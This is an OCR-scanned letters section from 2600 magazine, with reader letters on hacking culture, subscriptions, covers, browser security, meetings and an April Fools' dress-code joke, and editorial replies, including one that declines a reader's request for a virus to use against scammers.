LO D ,  MOD ,  Kevi n Mitnick, etc. Please help me to lea rn how 
to become an elite one day. 

tamsto 
The first thing to learn is never to use the "word" elite 

as a noun. In fact, don 't even use it as an adjective. It's 
radically lame. If you 're really interested in learning, there 
is much you can ingest through these pages and by inves­
tigating on the net. It's not about doing things the way 
everyone else does. It's not about one particular form of 
technology or a series of steps. Rather, it's a state of mind 
that you can apply to almost anything in your life. It in­
volves questioning, experimenting, persistence, thinking 
outside the box, and, above all, avoiding those people 
who latch onto the hacker community to be trendy. These 
are things you must develop within yourself; there are no 
magic answers to memorize. Once you have a hacker men­
tality (which comes quite naturally to many in the hacker 
world), you can then apply it to whatever you already have 
an interest in and begin to break new ground. Good luck. 

Dear 2600: 
Great magazi n e  and  forum for i nformati o n .  Please 

keep up  the fa ntasti c  work. B ut I want a vi rus. A nasty 
vi rus .  And I want to send it to "overprice scammers" that 
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offer you more money in the  form of a "certified check" 
(bogus)  for a n  advertised item than  you advertised it for, 
then  request that you wi re them the overpayment after 
they've taken possessio n  (which you wi ll have to repay to 
the bank  when they tell you the check wasn 't any good) .  I 
want the  vi rus to activate when they open my emai l  to 
them .  Any suggestions ,  thoughts? 

Gary B. Ticked 
The real secret is to not get yourself into a position 

where all you have is an email address of someone who 's 
ripped you off. Take reasonable precautions and verify that 
you 're insured in case they somehow manage to defeat 
those. If this was a television show we'd advise you to send 
a virus that would target this specific person's machine. 
get you access to all of his incriminating files. then pro­
ceed to his bank account and allow you to transfer the 
money back into your account. You would then be able to 
leave a picture of yourself smiling on his monitor so that 
he knew who not to mess with in the future. But since 
we're stuck here in reality, all we can suggest is that you 
recognize the danger signs of fraudsters and take ade­
quate precautions. Insist that your banks and credit card 
companies do the same. If they don 't. tell us and we'll 
happily expose them to the world until they get it right. 

Dear 2600: 
Every issue has pictures of phones on the  back cover 

and I was curi ous as to how to submit them .  If the general  
pub li c  sends i n  pictures, then where do they send them 
to? Tha n k  you very much .  

Brian 
First off. we've moved the foreign payphone photos to 

the inside front and back covers. You can send photos di­
rectly to our postal address at 2600. PO Box 99. Middle Is­
land. NY 1 1 953 USA or email them to payphones 
"' @2600. com. If you choose the latter. be sure to use 
high quality settings on your camera. 

Dear 2600: 
Just wonderi n g  why 2600 i sn 't a month ly or bimonth ly 

pub li cation?  Tha n k  you for your ti me  a nd  keep up the good 
fight .  

Just a questi o n .  P lease don 't pub li sh  my emai l  
address. 

Jason 
We're not monthly or bimonthly for the same reasons 

we're not weekly or daily. We're quite comfortable in the 
quarterly lifestyle. 

Dear 2600: 
Hi .  Nice to meet you .  2600 website is very great in my 

opi ni o n .  So I want to write for 2600. but I do n ot know 
how to write. In  other words ,  I don 't know what you need .  
Ask the  questi o n .  I hope 2600 can g ive an  a nswer. That is  
a ll. 

A Little Boy from China 
We can 't tell you what to write. If you have something 

to contribute. only you will know what this is. Everyone 
has a unique perspective and access to things that others 
will never know. Sharing that  information is what it's all 
about. 

Dear 2600: 
I fi n d  you r  magazi n e  i ntri gu i ng .  I have received some 

past  i ssues  a nd  noti ced that i n  the  past  you were ab le to 
purchase a lifeti me  subscri pti o n .  Can you currently 

pu rchase this lifeti me  subscripti on?  If so, how m uch is it? 
Orchid 

Yes. we still offer the same deal. For $260 you get 
every issue from now on plus 1984-1 986 and two t-shirts. 
You will continue to get issues until the end comes for us 
or you. (Please make arrangements to have your estate 
contact us if/when you pass on so we don 't continue 
sending issues to a deceased person. You'd be amazed 
how many people completely forget about this common 
courtesy.) 

Feedback 

Dear 2600: 
I've been readi n g  2600 for a whi le now but I j ust re­

cently decided to subscri be to support the cause (I was 
read ing  issues thanks  to a friend ' s  subscripti o n ) .  I'd li ke to 
express my appreciation  and  basi ca lly j ust tell you to keep 
up  the good work! In  reference to the title of 2 1 : 4  ( "If You 
See Someth ing ,  Say Somethi ng " ) ,  well, I did see some­
thi ng .  There is a " ghost image" of George W. Bush  on the  
front cover a nd  o n  the  2600 tombstone  there i s  the  word 
" E RASE . "  

Dave Puype 

Dear 2600: 
You guys need to be stopped once a nd  for a ll. H e re I 

sat one  Friday geari n g  up for my fi na ls when I opened up  
Fi refox to  check  the  requirements for a report I had to 
write. Natura lly I have the  2600 web page as my home 
page ,  a nd  what do I see  but the news  post  of the  spri n g  is­
sue bei n g  released. Well, shit. OK ,  I thought, maybe the 
loca l bookstore I walk past every day doesn 't have the new 
issue in .  It usua lly ta kes them a day or  two to get it after 
the news goes up. B ut no, there on  the she lf in its usual  
spot was the  new cover the  day the news post went up .  OK,  
maybe I can 't  affo rd it. I look i n  my wa llet a nd  fi nd  a five 
spot a nd  a si ng le .  Fi na lly, too wea k to resist the fi ne  pub­
li cation  that you work so hard to put out, I pu rchased it. I 
to ld myself I would just read it walki ng  the  rest of the way 
to work a nd  put it away once I got there to study for an ­
othe r  fi nal .  But no ,  you  j ust won 't let m e  be.  You just had 
to go a nd  add a crossword puzzle. Here I sat ,  penci l  i n 
hand ,  textbook sti ll in backpack. worki ng  on the  puzzle af­
ter skimming  over the  a rticles. Oh well, I am doi n g  well i n  
m y  classes. One  day o f  study ti me devoted t o  lea rn ing  
somethi n g  I wi ll a ctua lly use i n  the rea l world i s  more than  
worth  it. 

Please keep up  the g reat work and I will keep happi ly 
shel li n g  out my $ 1 1  every few months .  (I buy two issues, 
one  to read and one  to mark up  with my notes and a high­
li g hter. ) 

Crash the Green hat 

Dear 2600: 
I couldn 't help but notice that if you take the  fi rst let­

ter of the "h idden"  text on the covers of you r  last few mag­
azi n es :  Hono r, Obey, Protect, Erase . . .  it spells HOPE .  I 
suspect this is not a coi n cidence. 

d rlecter 
As long as you 're suspicious. that's all that matters. 

Dear 2600: 
I'd li ke to start off sayi n g  that I've grown to depend on  

your magazi n e  fo r sanity i n  th i s  chaos .  That  said ,  keep  up  
the  good  work  - my busi n ess depends  on  i t .  As a com puter 
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consultant by choice and  trade,  I 'm frequently asked to fix 
the computers of friends and fami ly. This a lways p resents 
an awkward situation as I n ever fee l  rig ht chargi ng them,  
but I know that if I make my services completely free,  I ' l l  
be taken  advantage of  i n advertently a n d  they wi ll n ever 
lea rn how to properly use thei r  expensive paperweig hts. 
Previous ly I merely charged a di nne r, o r  I 'd barter fo r some 
service they might  provide as thei r  liveli hood .  However, 
I've come up with the  perfect solution .  I now charge al l  of 
my clients $ 5 . 50  for the purchase of a 2600, a nd  I give 
them a quiz which I make up  for the current issue.  I offer 
to either show them which a rti cles/letters to read to an ­
swer the  quiz a nd  force them to an swer before I leave, or  
let  them read the  enti re magazi n e  a n d  emai l me  the  an­
swers before the  n ext time  they ca l l  m e  back .  I te l l  them 
that if they do not get at least a 70  percent ( 14/20) on the  
quiz that I won ' t  come back  to f ix  thei r  computers next 
time .  I've had at least two cli ents c la im that they were go­
ing to subscribe for a year j ust to see what i n formation 
was out there and  so easi ly accessible. So please, keep up  
the good  work  so my clients have somethi ng to read !  

Also, I t hought  o f  t h i s  after seei ng  the  crossword puz­
zle i n  the back of the  latest issue. Might you not take the 
task of writi ng  this quiz yourselves and i n cludi ng  it on 
your back cover or  some such idea? This wou ld not o n ly 
save me some work, but might a lso help non-techies test 
to see if they're a ctua lly getti ng and understa nding the in­
formation  they're readi ng .  Put one or  two o ld school  ques­
tions  on the quiz as bon uses which regu la r  fo lks won't be 
expected to answer and don 't  provide  the  a nswers to any 
of the  questions  u nti l the  next issue o r  on  you r  website. 
Might be i nteresti ng  and possi b ly even fun for the techs as 
well ,  and  the  trivia of the bonus questions  wi ll give us 
younger  techs somethi ng  to start from if we want to re­
search the  a reas or  events we d idn 't know we d idn 't know. 
Tha n k  you so much  for this beacon of HOPE .  The o n ly good 
news i s ,  h e  ca n 't be reelected for a th i rd term - yet. 

Shardin 3 5 9  

D e a r  2600: 
I never thought  that I would see Dubya on the  cover of 

2600. Time maybe. Keep up the good work. You ' re a breath 
of fresh ai r. 

sigmet 

Dear 2600: 
I bet I 'm not the  on ly g ri nn i ng  face g ri n ni n g  at the  

gri n ni n g  face on  the  cover of 21 :4 .  Very clever a nd  as 
a lways a n other  top notch issue.  

xzanu 

Dear 2600: 
Thanks  fo r the  n umerous past a rti cles rega rdi ng  

dumpster divi n g .  I have been  greatly rewa rded with fi nd­
i n g  fu ll or  parti a l  computer systems,  less d rive and  mem­
ory however. I have found  system boards (Giga Pro +) , 
Mobos,  3G B-60G B ha rd d rives (some sti ll under  warra nty) ,  
1 28MB-2 5 6 M B  memory sticks ,  5 2X-56X CD-ROMs,  
DVD ( 16x) ,  a nd  CD-RW d rives with burn ing  softwa re. 
Fi na lly, fi nd ing  n umerous OEM copies of Wi ndows XP  and  
other software titles was  a feast. 

Dear 2600: 

Loyal reader, 

Central Florida 

I am writi n g  in response to "Ad-Ware: The Art of 

Removal" by Patri ck Madigan in 21 :4 .  I wholly condemn 
th i s  a rti cle. The re  a re m entions  of at least ten  pieces of  
th i rd pa rty software and  not one  of them is Mozi lla Fire­
fox. Fo lks, the "AOL era" is  over. We no  longer have to be 
s laves to propri etary software. We no  longer  have to be at 
the  mercy of closed-sou rce software, hoping that it wi ll re­
main secure because attackers can 't read the  code. And we 
no  longer  have to suck down p rescription  software from 
companies li ke Microsoft. 

No, that era has passed, because we now have viab le 
a lternatives. M r. Madigan 's  a rti cle shou ld be enti re ly un ­
necessa ry, o r  at the  very least, relegated to a short one  
paragraph letter. We hackers, the  ta rget audience of 2600, 
shou ld most certai n ly know better. We a re the  ones who 
keep  our  i m maculate PCs  vi rus,  ad- ,  a nd  spy-ware free. We 
a re the  ones to whom our  fami lies a nd  friends turn when 
they need tech nical help .  And what ki nd  of hackers a re we 
who do n ot use the  best  products avai lable, especia lly 
when they a re free in every aspect? 

M r. Madigan 's  a rticle i s  u n necessary because if he were 
to j ust mention  a li n k  to http ://www. mozi lla . o rg/fi refox, 
all of these problems would not exist in the fi rst place. 
True, there may be some exi sti n g  j u n k  that wou ld need re­
moval. But one who fai ls to p revent it in the  fi rst p lace is  
hard ly a hacker. Ad-ware, spy-ware, a nd  ma l-ware exist 
because of products li ke Internet Explorer which presents 
a n  open i nvitation fo r such j u n k. This ,  friends ,  is  com mon  
knowledge. Even the Depa rtment of Homeland  Security, 
loathsome as they a re ,  have conceded that Fi refox is the  
more secure b rowser. I a m  becomi ng i ncreasi ng ly con ­
cerned at the  n um ber of sophomoric  a rticles appeari ng  i n  
2600. A s  a lifeti me  subscri ber I d read readi ng a rticles li ke 
that for the rest of my subscripti on .  

Lastly, because I am  not  out  to  start a n  OS wa r, I ' l l  
o n ly mention  this once:  Li nux  and * Bs D  have imp roved 
g reatly over the yea rs. Li nux i s  now a completely free and  
relevant a lternative to  Windows. I f  you ' re the ki nd who 
complai ns  about  Wi ndows yet  does  little to change you r  
situati on ,  maybe now is the  ti me  to l ook  i nto i t .  And if you 
use a Mac,  more power to you. 

Brian Detweiler 

Dear 2600: 
Thanks  fo r printi n g  "Complete scumware Removal" i n  

issue 2 2 : 1 .  T h e  cleanup  i nfo w a s  right  on .  However, i t  
seems s lig htly delusionary t o  beli eve t h a t  one simp le spy­
ware protector li ke spysweeper wi ll protect you by bei n g  
ab le t o  " notify you  o f  any [my  emphasis] changes" made to 
IE  a nd  sta rtup fi les. I don 't even thi n k  the maker of 
spysweeper c laims  a 100 percent hit rate! I a lways run two 
spy-ware/ad-ware programs ,  a fi rewa ll, a rootkit detector, 
a vi rus program ,  a nd  a fi rewa ll. I consi stently catch differ­
ent scum in each tool. Try it sometime .  It wi ll disgust you.  

I read your magazi n e  consistently and  a lways lea rn at 
least one th ing I ca n take with  me .  

TraktorGrl 

Dear 2600: 
I am q uite i mpressed with the  n ew format. It's good to 

see the  i ntrigu ing  photo covers agai n .  The a rticle qua lity 
has imp roved and  I rea lly li ke the back cover picture (j ust 
as  long as  you keep the payphones a round ) .  So I j ust 
wanted to say thanks  for a g reatly imp roved read .  

Brian Detweiler 
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Dear 2600: 
Both Cabal Agent #1 and  Ski llcraft have it wrong re­

gardi ng the use of Linux by the federal government. In the  
Department of Defense, every Service has mu lti p le "certi­
fied" app li cations  of Li nux-based systems  i n  use. In a fo r­
mer  assign ment, I was responsible for developi ng  mu lti p le 
Li n ux-based systems that a re currently deployed and in use 
worldwide,  i n cludi ng i n  the hands of warfighters i n  Iraq 
and Afghanistan .  All of these systems had to undergo a de­
tai led and comprehensive accreditation and certifi cation 
p rocess before bei ng  fie lded.  They a re safe, secure,  reli­
ab le ,  and affordable (standard Lin ux attributes ) .  There a re 
many Linux systems in use in the government, period,  i n ­
cluding  many that  a re cu rrently under  development. 

By the way, I a m  amused at the constant babble i n  the 
letters section of 2600 regarding  the abi lity to fi nd the 
magazi ne  on the shelves of the loca l bookstore. I travel the 
country and have no trouble getting  my hands on 2600 
anYWhere, coast to coast. Df course, the fact that 2600 is  a 
qua rterly publi cation that may actua lly sell out and  thus  
become "unavai lab le" doesn ' t  ever seem to get discussed . 

Keep up the  " hooa h ! "  (that is a good thi ng)  work. 2600 
is  a credit to the hacker comm unity. 

MegaGeek 

Dear 2600: 
Dn your website in the foreign  payphone  section ,  I am  

very shocked that  you  i n correctly put  my country Taiwan as  
"Taiwan ,  p rovince of Chi na . "  I hope you would understand  
that  such  mistake h u rts all  Taiwanese. Taiwan is  a n  i nde­
pendent country, not a provi nce of any other country. 
Please correct that mistake i m mediately to show your re­
spect for a ll Taiwanese. Otherwise we wi ll take more actions  
to p rotest against such humi liati on !  Tha n k  you !  

H siao-Ling Liao 
Taiwan 

OK, let's all calm down here a moment. We're not in any 
way responsible for how your country (see, we used the 
word) is offidally designated. That's the name according to 
the United Nations and subsequently the ISO 3166-1 stan­
dard. Those are the people to threaten. 

Dear 2600: 
This month the hacker tabloid Wired contain ed a piece 

entitled "Splice It You rself' written by Rob Carlson ,  a re­
search scientist at U. Wash ington .  The fi rst sentence reads 
"the era of garage biology is  upon us" and p roceeds to dis­
cuss how you ca n do genetic engineeri ng  at home. The a rti­
cle fai ls to reference a much more erudite and  thoughtfu l 
a rticle in 20:4, "Hacking  the Genome. "  Good to see 2600 
ahead of the tabloids. Of course, Wired ran a piece in June  
2002  entitled "Hackin g  the  Genome" about some guy 
bioengineeri ng  a honeybee i n  his garage. 

Dan 

Dear 2600: 
Blasphemy! Dn the crossword puzzle in 22 : 1 ,  Sta llman 

is  p resumably the  answer to  1 2  down with the  hint "open 
source guru . "  Sta llman is  adamant about his use of words, 
especia lly noti n g  the difference between free and  open 
source software and  their movements. The two a re very dif­
ferent, suffice to say. Dne  is  about freedom and  one  is 
about tech nologica l superiority. 

It's okay though .  You a re forgiven . Perfection is  not for 
humans .  I just thought you should know. 

Em oticon 
Then you won 't mind us pointing out that it's techni­

cally not a crossword puzzle either. 

Dear 2600: 
Fi rst of a ll, I j ust picked up my fi rst issue of you r  mag­

azi n e  ( 2 1 :4) and  wou ld li ke to say that you guys make a n  
amazi ng  magazi ne .  I 'm 14 and  my older b rother told m e  
about you .  Second ,  I w a s  wonderi n g  if y o u  knew o f  a n y  
cool th ings that I could do  i n  MS-DOS.  Third,  I w a s  readi ng  
the  letter sent  by  Na rcess and  was  laugh ing  because I 
thought it was h i la rious  that that person thought  he was 
seei ng  things . . .  u nti l I really took a loo k  at the  cover of 
21 :4 .  O M FG you g uys a re awesom e  cause I swear I looked 
at that cover 20 times and all I saw was a b lack g rave. Then 
al l  of a sudden wtf there's pictu res on  the  g raves. I d idn 't 
notice those before but OK .  And again WTF - there's a g uy 
in a j ump  suit i n  the  middle of the  cemetery! But the  
biggest thi ng  I found  was when I thought there was sticky 
stuff on the  cover of my magazi ne .  So I took the  g la re of 
the ceili n g  light  a nd  ti lted my magazi ne .  It was a freaki ng  
face!  Fo r  t hose  who  haven't found  it it's b i g  a nd  i n  the  top  
right  hand  co rne r  o n  the  cover. By  the  way  who i n  the  
he ll's face i s  that? 

Now this letter i s  p robably not in a ny way goi ng  to 
benefit you r  magazi n e  o r  your readers who have probably 
a lready discovered this but the  cover says "If you see 
something ,  say someth ing "  so h ere I a m  sayi n g  some­
thi ng .  Also,  I 'm n ew and I was wonderi n g  what this 
was/meant: .. I see it a ll over your  a rticles. Keep up the  
freaky covers. 

Leprechaun 

There isn't an operating system in existence that you 
can 't do at least one cool thing in. Simply typing "MS-DOS 
hacking" in a search engine ought to keep you busy. If you 
don 't recognize the face on the cover, you have nothing to 
worry about. And as for those little arrows, they exist to 
designate when a line of code or a URL is too long to fit on 
a single line of text. Without the arrow, one might be un­
sure whether or not a space or carriage return would sepa­
rate the two lines. 

Meeting Issues 

Dear 2600: 
For some reason ,  I have been "uni nvited" from my lo­

ca l 2600 group.  This was rather su rp ri si ng .  I simp ly re­
ceived an emai l  aski n g  that I no longer  come to the  
m eetings .  

You r  m eeti n g  guideli nes say that " nobody is  excluded . "  
I have attended other 2600 meeti n gs without p roblems, as 
well as  other  tech nical  groups i n  the  a rea.  In fact, one 
IEEE group is  even havi n g  me  s pea k to them later this 
week. 

Inci denta lly, the person who sent the email did not 
identify himself. It a ppears to have been sent from some 
a nonymous account. Consideri n g  that my busi ness cards 
were stolen the p revious week, I rea lly don 't consider 
bei n g  "un invited" to be any g reat loss. 

Chris 

And just why do you assume that t/:;s "un invitation " 
carries any validity whatsoever? You correctly interpret our 
guidelines as meaning nobody can be kept away from the 
meetings so why not apply them to the situation and real­
ize that this anonymous person has absolutely no author­
ity to enforce such a thing? By setting yourself apart 
from the group in this way, you're doing exactly what this 
person wants. 
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Dear 2600: 
It's been awhi le si nce I've seen any 2600 m eetings  i n  

Louisville. I was interested i n  knowi ng  if there were any 
objections  to ho ld ing  a meeti n g  at a place of business.  I 'm 
the  boss-man ,  so there i sn 't an  authority issue.  The idea 
would be to use the  front conference room with its port 
put on the  DMZ or  Internet access. We a lso have a p rojec­
tor and enc losed courtyard for smoki n g .  The envi ronment 
would be ideal and can be closed off from the  rest of the 
bui ldi ng  (so havi n g  a bunch of hackers runn ing  around 
won't be a problem) .  

The o n ly reason I thi n k  it m igh t  be a n  i s s ue  is  t ha t  it is  
a private business office. I have no  n eed for checki ng  IDs,  
parki n g  i s  free, etc .  All wou ld be welcome  and I have a 
great deal  of tolera nce. As long as n obody li g hts up a big 
crack pipe there shou ldn 't be any problems .  What a re your 
thoughts? 

James 

We greatly appreciate the gesture. However, meetings 
traditionally take place in public spaces for a number of 
reasons, not the least of which is the fact that people tend 
to be shy and/or intimidated, both inside and outside the 
hacker community. We want them to be comfortable ap­
proaching us and that may mean observing us for a while 
before making contact. Being in a public area also elimi­
nates scenarios like the one mentioned above where peo­
ple could be "uninvited" by someone who imagines 
themselves in charge. In a public area, only law enforce­
ment would be able to bar someone from attending. Fi­
nally, the meetings are actually more accurately described 
as gatherings with no real agenda, lots of separate conver­
sations going on at once, and people with widely diverse 
interests whose paths may never actually intersect. Having 
net access actually is more of a hindrance than a benefit 
since this is the occasion where we encourage real life 
conversation and interaction. With that all said, your offer 
would be ideal for some sort of post meeting get-together 
where you would have more control over who shows up 
and how or if an agenda would be presented. We hope it 
works out. 

Dear 2600: 
I love readi ng your mag and  hope it has a long life. 

There i s  a 2600 group in my city but in my opin ion it i sn 't 
run  rig ht. Is it possib le for me to estab lish a nother  2600 
here? I a lso came  up with an acronym for the word Hacker 
that I want to i n troduce i nto the  hacker com m unity: 
H igh ly Advan ced Computer Kids Enteri n g  Restricted 
Systems .  Do you thi n k  this wi ll send the wrong  message? 

Rashid 

It will most definitely send the wrong message. But it's 
still clever. And the proper term is "backronym " (no kid­
ding) since what  you have is really the opposite of an 
acronym. As for starting another meeting, such a thing 
would simply lead to mayhem and all sorts of bad feelings. 
Since meetings aren 't "run"  by any one person or group, 
anyone is free to steer things in a different direction and 
hopefully make it all a little better. If, as you fear, the 
group isn 't abiding by our guidelines or is otherwise not 
being representative of the spirit of the 2600 meetings, 
we'll find out about it and they will be delis ted. It's hap­
pened before but not nearly as much as one might assume 
which, to us, is a testament to the dominant spirit that  
exists in  the hacker community. 

On Apri L  1, 2005, we announced a new poLicy through 
our website proclaiming that a d ress code wouLd be 
enforced at future 2600 meetings: 

"As many of you are already aware, we have been in­
volved in a struggle to improve the image of hackers 
worldwide. For years, the mass media has portrayed us in a 
negative light and this perception has been passed on 
throughout our society. Hackers are seen as troublemakers 
and outsiders who exist to cause problems and create 
mayhem. 

"We feel the implementation of a dress code at our 
monthly meetings will be a necessary first step in the re­
habilitation of our image. There is a reason why such dress 
codes are a part of so many civilized events, as well as a 
required part of many jobs and even schools. It has to do 
with respect, something we could use a good dose of in 
the hacker community. 

"We hold our meetings in public areas and we do this 
for a reason. We want people to be able to see us for who 
we are and to realize that we're not the threat that the 
mainstream media makes us out to be. But this attempt at 
conveying a positive image is very quickly defeated when 
people show up at meetings wearing scruffy attire, torn 
clothing, baggy pants, offensive t-shirts, or even shorts. 
While this kind of dress may suit some of us in the privacy 
of our own homes, we need to realize that  when we are at 
meetings we are, in a sense, on public display. Therefore 
we owe it to each other to put our best foot forward and 
look presentable so that any new people coming by don 't 
back away in horror. 

"The plan that has gone into effect as of this meeting 
requires all attendees to wear standard formal attire. 
We're not asking people to go out and rent tuxedos or any­
thing unreasonable. Rather, a simple suit and tie for male 
attendees will suffice. Female attendees should attend in a 
standard business suit. However, full length evening 
gowns are also appropriate. Dressing in this manner will 
convey the image that is necessary for us to be seen as ra­
tional, decent, and acceptable members of society. There 
simply is no reason to convey another image. 

"While some will see this as an unreasonable restric­
tion on their freedom of expression and individuality, we 
think that that is an irresponsible attitude for these times. 
Can we really put a price on the importance of maintaining 
a good image? Is the comfort of walking around in blue 
jeans and tank-tops really worth sabotaging our futures? 
The answer should be obvious. 

"These are difficult times and we all must make sacri­
fices. We ask that all meeting attendees, in addition to ad­
hering to the dress code, keep an eye on fellow attendees 
and let us know of any attempts to disrupt the meetings 
through noncompliance or otherwise mocking or ridiculing 
these guidelines. We thank you in advance for your 
vigilance. " 

Dear 2600: 
I don 't own a suit or a tie ,  but I can borrow a fu ll 

length eveni ng gown . I won't shave my beard but i n  the  
name  of  good taste I wi ll shave my legs. 

ALLan 

Dear 2600: 
I am n ot attending a ny meetings  u nti l this has  been 

revoked. You a ll sound li ke ma rketi ng hacks and  ca n b low 
you r  d ress code out your ass. 

eyeconoclast 
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Dear 2600: 
Not what I expected ,  but it would have been bori n g  

otherwise.  Shou ld I g e t  a ha i rcut too? 
ht 

Dear 2600: 
Great joke guys. Wanted an excuse to bust out the  

suit. 
Eric Blai r 

Dear 2600: 
I don 't know what to say! On one  hand  you're rig ht but 

on the  other hand dead wrong! 
Advent Systems 

Dear 2600: 
Can we a lso i mplement cubical assi g nments? We need 

to show the world we a re sophi sti cated and wi lli ng  to 
com m ute to the o ld ni n e  to five. 

Don Joh nson 

Dear 2600: 
J ust a Quick Note about the  Formal  Wear fo r the Meet­

i n gs .  My Opin ion :  What The Fuck? "We ho ld our  meetings  i n  
pub li c  a reas and  we do th i s  for a reason .  We  want  people 
to be able to see us fo r who we are . "  That Last li n e  j ust 
b lows your argument out of the water. We as  people 
shou ld be presented in a neat and  tidy i mage.  But there's 
a difference between " neat and tidy" and "tight-a rsed , ur­
ban professiona l . "  Why wou ld any sa ne  human  wear a suit 
and tie to a casual sodal gatheri ng ?  I don 't know how peo­
p le d ress i n  Ameri ca o r  if this affects me  i n  Austra lia ,  but 
the  fact i s  this is  ridiculous!  Somehow I don 't see how 
wea ri n g  denim or  a tan k-top  is  goi n g  to sabotage ou r  fu­
ture!  We, As Geeks,  Hackers, Ph rea kers, Nerds shou ldn 't 
have to conform to these "sta ndards" as we " hackers" a re a 
m inority upon the  sodal groups.  We are a lso i n dividua ls ,  
a n d  as i n dividua ls ,  I don 't see why we a re followi ng the  
mainstream .  Why can 't we be ourselves? For those  who 
wear  Scruffy Clothi ng ,  Deni m ,  Torn Clothes,  Baggy Pants, 
etc . ,  a ll of these are accepted a lmost universa lly i n  publi c  
i n  most cases as decent clothi n g .  Whi lst th ere may  be t he  
odd  Offensive T-Shi rt, t h i s  is  n o t  com mon i n  a pub li c  
place. " D ressi ng i n  t h i s  manne r  wi ll convey the i mage that 
is n ecessary for us to be seen as rationa l, decent, and  ac­
ceptab le members of sodety." Somehow, u n less of course 
you a re a radica lly conservative organization ,  I don 't thi n k  
that weari n g  say . . .  Den im pants/sho rts, a t-shi rt, maybe a 
pair  of converse sneakers makes us any less of an accept­
ab le member of sodety than  someone who d resses in a 
suit. By Instituti ng  this Formal  Atti re, You wi ll o n ly be cre­
ati n g  another  burden upon the a lready busy lives of our  
sodety. Suggesti on :  G row Up ,  Get Some Ba lls , Maybe a 
Brain or a Life to go with it. 

James Turner 
You get excused from the April 1 awareness due to 

being Australian. The capitalization authorities have been 
alerted however. 

Conundrums 

Dear 2600: 
Is someone out there clever enough to help me liber­

ate my own car from the  clutches of my parki n g  garage's 
management system?  My garage uses the  dua l  a ccess sys­
tem with magnetic stri p cards fo r those who pay dai ly a nd  
tra nsponders for those who p repay month ly fo r 24/7 

access. They have n umerous split screen cameras  on  al l  
floors. Nothin g  unusual at al l  about that management sys­
tem .  I prepay for the transponder  month ly but, unfortu­
nately, getti ng my ca r out now won 't be quite as  s imp le as 
j ust wavi ng  it and d rivi ng  out under the  swi n ga rm .  That 
wi ll b ri n g  m e  a worldful of trouble that I would much  
rather avoid if I ca n .  

Let me  exp lai n :  I have two cars, A a n d  B ,  o n e  o f  which 
I want to keep protected from the  vanda ls i n  my nei ghbor­
hood by keepi ng  it garaged most of the  time .  I p repay 
month ly and access the garage with the tra nsponder 
(which is  registered for use with either  car) . The way I've 
got it set up right  now, whenever I want to d rive Car B I 
simply d rive Car A to the  garage, move the  tra nsponder  to 
B and  d rive out. When I 'm done,  I j ust retu rn B to the  
garage with  the  tra nsponder which I move to Car A and  
d rive home .  B i s  then left back  where it belongs ,  away 
from ha rm .  

I i nitiated my "system "  orig ina lly by getti ng  a ticket a t  
the  swingarm gate upon enteri n g  with Car A. I then took  a 
bus home  and  d rove back with Car B this time  enteri n g  the  
garage v ia  my sh iny new transponder. To  complete the ci r­
cle, I j ust moved the transponder  over to Car A and  d rove 
home ,  leavi ng  Car B in the  garage. That's how it all began .  
I t  sti ll seems pretty rationa l: a month ' s  payment f o r  a 
month 's  parki n g .  No problem, rig ht? 

Troub le is, my "system "  provides consta nt ga ragi ng  for 
a car. B ut it a lso leaves whichever car is garaged with no 
way out !  Fo r the one  car to be removed the  other has to be 
left behind because the  garage's system keeps track of 
whether the transponder  is  " in "  or  "out. " It o n ly accepts 
"in followed by out,"  no  "double outs" o r  "doub le ins "  
a llowed .  

So it seems  I 'm a victim of my own  tri cki n ess - because 
now my Car A is  i n  the  shop for several weeks and I 'd li ke 
to use Car B in the m eantime .  It had never dawned on  me 
that one day there'd be a problem getti ng  both cars to be 

I thin k  Car B i s  now "stranded" in the garage .  If ! try to 
take it "out" with my tra nsponder, the garage system 
would crash and  they'd say " Hey, pal .  This tra nsponder  is  
on our  records as presently "outside" the garage,  so how'd 
you get this ca r i n  h ere?" ( No  expla nation  makes sense . )  
O r  if I try to remove my Car B claiming  a lost ticket and 
wi lli ng  to pay cash  for a whole day's rent ,  they'll say "Sir, 
h ow come ou r  cameras don 't show you getti ng  a gate 
ticket with that ca r today?" 

So it seems that either  way, I 'm stuck! The tra nspon­
der  says I 'm "out" - and  I ca n't get a da i ly ti cket from the 
machi n e  at the  gate without d rivi n g  a ca r i n  ( ca n  I?)  to use 
for Car B. 

If I have to exp lai n my "system "  to garage security, 
they'll either  dte me for somethi ng  li ke attempted theft of 
my own ca r o r  else th ey' ll call for the men in white coats -
and ,  rig ht about n ow, I would n 't b lame  them at a ll !  

Anyhow, ca n some savvy 2600ers with knowledge of 
parki ng  garage systems help m e  figu re out a way to get my 
own ca r out of the garage usi ng  some creative combina­
tion of tra nsponder, tickets , a nd/or sodal  eng ineeri ng?  At 
this point ! have j ust run  completely out of ideas .  

Thanks for a nythi ng  and  everythi ng .  
Tangled Web 

We see no reason why this ever had to get so compli­
cated. It doesn 't sound like such an unusual set of circum­
stances where you couldn 't have explained it to them from 
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the outset and probably worked out a reasonable method 
of doing this. Is there anything in your contract to suggest 
that  you can 't simply swap the transponder since both cars 
are registered to it? If they a llow you to register it for use 
in either car, this situation must not be completely alien to 
them. If they're completely unreasonable they may force 
you to park your second car in the street when you come to 
pick up your garaged car. But since you only want to pro­
tect one of your cars, that shouldn 't be a huge issue. Short 
of explaining the situation to them, perhaps walking in 
with your transponder in hand may be enough to register 
as an entry. If that doesn't work, attempting to leave when 
the transponder is still registered as "out" may cause some 
confusion but it also shouldn 't be a huge issue since you're 
already paying for the parking. If you tried to enter with a 
car already "in, " they may think you 're trying to get two 
cars in for the price of one. But you 're doing the opposite 
so it shouldn 't cause too much trouble if they choose to 
pursue it. Your biggest problem lies in that ticket you 
bought initially. They may very well think a car has been 
parked there all this time if you never used it to leave. We 
suggest calling another garage and explaining your set of 
drcumstances as a potential customer. Weigh the hassle 
they give you against the one you 're currently embroiled 
in. We're curious as to which wins. 

Dear 2600: 
Before I say a nyth ing  else, I j ust wanted to say that I 

love your magazi n e  and  best of luck to you in the  near fu­
ture. I have recently been ta lki ng with  my friends  about 
stuff a nd  one  of them brought up the  Knig hts of the  
Lam bda Calculus. I asked h im what the  h ell h e  was ta lki ng  
about  and  h e  sa i d  it was  a secret hacker g roup  that  nobody 
knows a nyth ing  about. So when I got home  I did a q uick 
google check on  this group.  What did I get? "A semi-myth­
i ca l  orga nization  of wiza rdly LISP  and  Scheme hackers. The 
name refers to a mathematica l fo rmali sm invented by 
Alonzo Church ,  with  which LISP  i s  i ntimately connected .  
There is  no  en rollment li st and  the  criteria for i nduction 
a re unclea r, but one  well-known LISPer has  been known to 
g ive out buttons and ,  i n  general, the  members know who 
